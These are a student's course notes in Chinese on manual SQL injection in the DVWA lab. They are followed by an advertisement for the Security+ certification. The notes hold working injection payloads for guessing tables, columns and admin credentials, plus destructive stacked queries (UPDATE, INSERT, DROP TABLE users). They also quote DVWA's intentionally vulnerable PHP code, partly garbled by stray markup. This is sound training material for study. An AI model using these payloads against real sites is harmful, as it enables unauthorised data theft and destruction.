【安全牛学习笔记】手动漏洞挖掘-SQL注入
手动漏洞挖掘-----SQL注入 无权读取information_schema库 / 拒绝union、orderby语句 ? ? 猜列明: 'and column is null--+ ? ? ? ? ?Burp suite自动猜列名 ? ? 猜当前表表名: 'and table user is null--+ ? ? 猜库里其他表: 'and (select count(*) from table)>0--+ ? ? 列表对应关系: 'and user.user is null--+ ? ? 猜字段内容: 'or user='admin ? ? ? ? ? ? ? ? 'or user like '%a% ? ? 猜账号对应密码:? ? ? ? ? 'or user='admin' and password='5f4dcc3b5aa765d61d8327dev832cf99 root@R:~# find / -name *column*.txt find: '/media/sf_D_DRIVE/$RECYCLE.BIN/S-1-5-21-2268366954-3546357879-2348310953-1001': 不允许的操作 find: '/media/sf_D_DRIVE/System Volume Information': 不允许的操作 /media/sf_D_DRIVE/软件/Pangolin/columns.txt /media/sf_D_DRIVE/软件/Pangolin/pangolin3.3+4.0+注册机/pangolin3.3/columns.txt /media/sf_D_DRIVE/软件/Pangolin/pangolin3.3+4.0+注册机/pangolin_professinal_edit ion_4.0.0.1293/professinal_edition/columns.txt /usr/share/golismero/tools/sqlmap/txt/common-columns.txt /usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt /usr/share/sqlmap/txt/common-columns.txt root@R:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt root@R:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt root@R:~# cat column.txt root@R:~# find / -name *table*.txt root@R:~# cp /media/sf_D_DRIVE/软件/Pangolin/pangolin3.3+4.0+注册机/pangolin_professinal_edition_edition_4.0.0.1293/professinal_edition/tables.txt . root@R:~# ls column.txt ?Desktop ?Document ?Downloads ?Music ?Pictures ?Public ?table.txt ?Templates ?Videos root@R:~# ?cat table.txt root@R:~# cp /usr/share/golismero/tools/sqlmap/txt/common-table.txt root@R:~# cat common-table.txt root@R:~# cat common-table.txt | grep -v ^# table.txt 当数据库可写 ? ? ;update users set user='yuanfh' where user='admin ? ? ? ? 注入失败,Sql客户端工具的问题 ? ? ? ? http://dev/mysql.com/doc/refman/5.7/en/commands-out-of-sync.html ? ? ;INSERT INTO users ('user_id','first_name','last_name','user','password','avatar')VALUES ? ? ('35','fh','yuan','yfh','5f4dcc3b5aa765d61d8327dev832cf99','OK');--+ ? ? ;DROP TABLE users;-- ? ? xp_cmdshell/存储过程 SQLi没有通用的方法,掌握原理,了解各种数据库特性 root@R:~# echo password > 1 root@R:~# md5sum 1 286755fad04869ca523320acce0dc6a4 msfadmin@metasploitable:~$ msysql -u root -p mysql> use dvwa; mysql> select * from users;select * from guestbook; Medium难度级别 ? ? mysql_real_escape_string() ? ? ? ? PHP 4 >= 4.3.0,PHP 5 ? ? PHP 5.5.0已经弃用此函数 ? ? PHP 7.0.0已经删除此函数,代之以MySQLi、PDO_MySQL ? ? 转义符,对下列字符转义 ? ? ? ? x00 ? ? ? ? n ? ? ? ? r ? ? ? ? ' ? ? ? ? " ? ? ? ? x1a ---------------------------------------------------------------------------------- 低安全代码 <?php if(isset($_GET['Submit'])){ ? ? // Retrieve data ? ? $id = $_GET('id'); ? ? $getid = "SELECT first_name,last_name FROM users WHERE user_id = '$id'"; ? ? $result = mysql_query($getid) or die('<pre>' . mysql_error() . '<pre>'); ? ? $num = mysql_numrows($result); ? ? $i = 0; ? ? while ($i < $num){ ? ? ? ? $frist = mysql_result($result.$i."frist_name"); ? ? ? ? $last = mysql_result($result.$i."last_name"); ? ? ? ? echo '<pre>'; ? ? ? ? echo 'ID:' . $id . '<br>first_name:' . $frist . '<br>Surname:' .$,last; ? ? ? ? echo '</pre>'; ? ? ? ? $i++; ? ? } } ?> 中安全代码 ? ? $id = mysql_real_escap_sting($id); high难度级别 ? ? stripslashes() ? ? ? ? 去除"" ? ? is_numeric() ? ? ? ? 判断是否是数字 ? ? $id = stripsashed($id); ? ? if (is_numeric($id)){ ? ? ? ? $getid = "SELECT first_name,"Microsoft YaHei"; font-size: 14px;'>? ? ? ? $result = mysql_query($getid) or die('<pre>' . mysql_error() . '<pre>'); ? ? ? ? $num = mysql_numrows($result); ? ? ? ? $i = 0; ? ? ? ? while ($i < $num){ ? ? ? ? ? ? $frist = mysql_result($result.$i."frist_name"); ? ? ? ? ? ? $last = mysql_result($result.$i."last_name"); ? ? ? ? ? ? echo '<pre>'; ? ? ? ? ? ? echo 'ID:' . $id . '<br>first_name:' . $frist . '<br>Surname:' .$,"Microsoft YaHei"; font-size: 14px;'>? ? ? ? ? ? echo '</pre>'; ? ? ? ? ? ? $i++; ? ? ? ? } ---------------------------------------------------------------------------------- 该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂 Security+认证为什么是互联网+时代最火爆的认证? ? ? ??牛妹先给大家介绍一下Security+ ? ? ? ? Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。 ? ? ? ?通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。 Security+认证如此火爆的原因??? ? ? ? ?原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的,?Security+认证正好可以弥补信息安全技术领域的空白 。 ? ??? 目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。 ? ? ???原因二:?IT运维人员工作与翻身的利器。 ? ? ???在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。 ? ? ? ? 原因三:接地气、国际范儿、考试方便、费用适中! CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。 ? ? ? ? 在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |